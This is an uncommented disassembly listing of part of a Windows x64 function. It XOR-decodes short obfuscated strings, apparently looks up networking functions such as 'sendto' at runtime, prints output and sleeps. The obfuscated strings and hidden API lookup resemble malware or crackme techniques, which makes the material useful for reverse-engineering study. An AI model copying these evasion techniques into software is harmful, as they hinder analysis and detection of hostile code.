movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400289c1
cmp r8d, 0x12
jge 0x140028b13
movsxd rax, r8d
lea r9, [rbp + 0x38]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140028ae0
lea rdx, [rbp + 0x38]
lea rcx, [rbp - 0x50]
call fcn.140015e00
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp - 0x50]
call fcn.140024510
nop
lea rcx, [rbp - 0x50]
call fcn.140017280
mov r8, qword [rbp + 0x218]
mov rdx, qword [rbp + 0x210]
sub r8, rdx
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov rcx, r12
call fcn.14000a750
mov rcx, r12
test al, al
jne 0x140028c97
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n___
lea rcx, [rbp + 0x1f0]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x1f0]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x1e0]
call fcn.1400134f0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x1e0]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140093660]
lea rcx, [rbp + 0x1c0]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x1c0]
call fcn.140017650
mov eax, dword [str.wAFZD]
mov dword [rsp + 0x50], eax
movzx ecx, word [0x140093650]
mov word [rsp + 0x54], cx
movzx eax, byte [0x140093652]
mov byte [rsp + 0x50], 0x45
xor byte [rsp + 0x51], 0x33
xor byte [rsp + 0x52], 0x34
xor byte [rsp + 0x53], 0x35
xor cl, 0x36
mov byte [rsp + 0x54], cl
xor byte [rsp + 0x55], 0x37
xor al, 0x38
mov byte [rsp + 0x56], al
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.140015e00
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp - 0x50]
call fcn.140024510
nop
lea rcx, [rbp - 0x50]
call fcn.140017280
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0xfffffff8
jmp 0x140028ce2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x210]
cmp rax, qword [rbp + 0x218]
je 0x140028cb4
mov qword [rbp + 0x218], rax
call fcn.140028d8e
call fcn.140028d20
call fcn.140028d78
call fcn.140028d36
call fcn.140028d4c
call fcn.140028d20
call fcn.140028d62
call fcn.140028d36
call fcn.140028d4c
nop
lea rcx, [rbp + 0x210]
call fcn.1400179d0
mov eax, esi
lea r11, [rsp + 0x5700]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret